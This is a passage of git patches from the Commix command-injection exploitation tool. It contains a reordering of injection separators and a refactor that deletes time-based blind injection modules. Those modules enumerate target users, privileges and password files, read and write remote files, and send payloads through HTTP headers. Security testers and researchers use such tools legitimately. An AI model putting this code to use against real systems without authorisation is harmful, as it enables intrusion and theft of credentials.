int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): - if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -243,7 +219,6 @@ def check_unicorn_version(current_version): else: common.invalid_option(do_update) pass - except KeyboardInterrupt: raise except: From 9d1650bc49a4923384dcc079464602e21548324b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 27 Jul 2024 09:00:02 +0300 Subject: [PATCH 486/560] Minor update --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 60572e3e1d..bf2e0a1faf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "88" +REVISION = "89" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -496,7 +496,7 @@ class OS(object): # The command injection separators. SEPARATORS = [] -DEFAULT_SEPARATORS = ["", ";", "%26", "|"] +DEFAULT_SEPARATORS = [";", "%26", "|", ""] SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 From 21baf93a8fa8b6d71b689451821cd90c4ed387b2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 2 Aug 2024 08:20:22 +0300 Subject: [PATCH 487/560] Major code refactoring --- .../techniques/time_based/tb_enumeration.py | 291 -------- .../techniques/time_based/tb_file_access.py | 144 ---- .../blind/techniques/time_based/tb_handler.py | 368 +--------- .../techniques/time_based/tb_injector.py | 513 +------------ src/core/injections/controller/checks.py | 202 +++++- src/core/injections/controller/controller.py | 27 +- src/core/injections/controller/enumeration.py | 535 ++++++++++++++ src/core/injections/controller/file_access.py | 230 ++++++ src/core/injections/controller/handler.py | 686 ++++++++++++++++++ src/core/injections/controller/injector.py | 523 +++++++++++++ .../injections/controller/shell_options.py | 43 +- .../techniques/classic/cb_enumeration.py | 328 --------- .../techniques/classic/cb_file_access.py | 138 ---- .../techniques/classic/cb_handler.py | 270 +------ .../techniques/classic/cb_injector.py | 291 +------- .../techniques/eval_based/eb_enumeration.py | 331 --------- .../techniques/eval_based/eb_file_access.py | 133 ---- .../techniques/eval_based/eb_handler.py | 301 +------- .../techniques/eval_based/eb_injector.py | 247 +------ .../techniques/file_based/fb_enumeration.py | 298 -------- .../techniques/file_based/fb_file_access.py | 132 ---- .../techniques/file_based/fb_handler.py | 476 +----------- .../techniques/file_based/fb_injector.py | 320 +------- .../tempfile_based/tfb_enumeration.py | 299 -------- .../tempfile_based/tfb_file_access.py | 146 ---- .../techniques/tempfile_based/tfb_handler.py | 411 +---------- .../techniques/tempfile_based/tfb_injector.py | 505 +------------ src/core/requests/requests.py | 119 ++- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/utils/menu.py | 4 +- src/utils/session_handler.py | 78 +- src/utils/settings.py | 16 +- src/utils/update.py | 6 +- 34 files changed, 2416 insertions(+), 5999 deletions(-) delete mode 100755 src/core/injections/blind/techniques/time_based/tb_enumeration.py delete mode 100755 src/core/injections/blind/techniques/time_based/tb_file_access.py create mode 100755 src/core/injections/controller/enumeration.py create mode 100755 src/core/injections/controller/file_access.py create mode 100755 src/core/injections/controller/handler.py create mode 100755 src/core/injections/controller/injector.py delete mode 100755 src/core/injections/results_based/techniques/classic/cb_enumeration.py delete mode 100755 src/core/injections/results_based/techniques/classic/cb_file_access.py delete mode 100755 src/core/injections/results_based/techniques/eval_based/eb_enumeration.py delete mode 100755 src/core/injections/results_based/techniques/eval_based/eb_file_access.py delete mode 100755 src/core/injections/semiblind/techniques/file_based/fb_enumeration.py delete mode 100755 src/core/injections/semiblind/techniques/file_based/fb_file_access.py delete mode 100755 src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py delete mode 100755 src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py deleted file mode 100755 index edcebea6fa..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ /dev/null @@ -1,291 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - # if alter_shell: - # cmd = checks.escape_single_quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout("") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, cu_account = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - _ = True - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - check_how_long = 0 - checks.print_single_os_cmd(cmd, output, filename) - return check_how_long, output - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - def reset(): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - - reset() - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().ps_version_msg() - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.hostname: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().hostname_msg() - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.current_user: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().current_user_msg() - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.is_root or menu.options.is_admin: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.sys_info: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().os_info_msg() - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.users: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().print_users_msg() - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - - if menu.options.passwords: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - reset() - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE == True: - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py deleted file mode 100755 index 6e0002f668..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ /dev/null @@ -1,144 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - _ = True - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - cmd = checks.change_dir(dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.VERBOSITY_LEVEL == 0 and not _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - cmd, dest_to_upload = checks.check_file_to_upload() - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index f5e70170ad..68f7900aaf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -13,29 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings from src.utils import common -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters +from src.utils import settings from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector -from src.core.injections.blind.techniques.time_based import tb_payloads -from src.core.injections.blind.techniques.time_based import tb_enumeration -from src.core.injections.blind.techniques.time_based import tb_file_access +from src.core.injections.controller import handler """ The "time-based" injection technique on Blind OS Command Injection. @@ -44,346 +25,8 @@ """ The "time-based" injection technique handler. """ -def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - - checks.testing_technique_title(injection_type, technique) - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - checks.reload_url_msg(technique) - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - settings.MAXLEN = maxlen = menu.options.maxlen - - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.TIME_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - except TypeError: - checks.error_loading_session_file() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - checks.testing_technique_title(injection_type, technique) - - if not settings.LOAD_SESSION: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Define alter shell - alter_shell = menu.options.alter_shell - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - if alter_shell: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) - else: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent, float_percent = checks.percentage_calculation(num_of_chars, total) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if checks.time_relative_shell(url_time_response, how_long, timesec): - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(1, 10) - randv2 = random.randrange(1, 10) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" - else: - cmd = "expr " + str(randv1) + " %2B " + 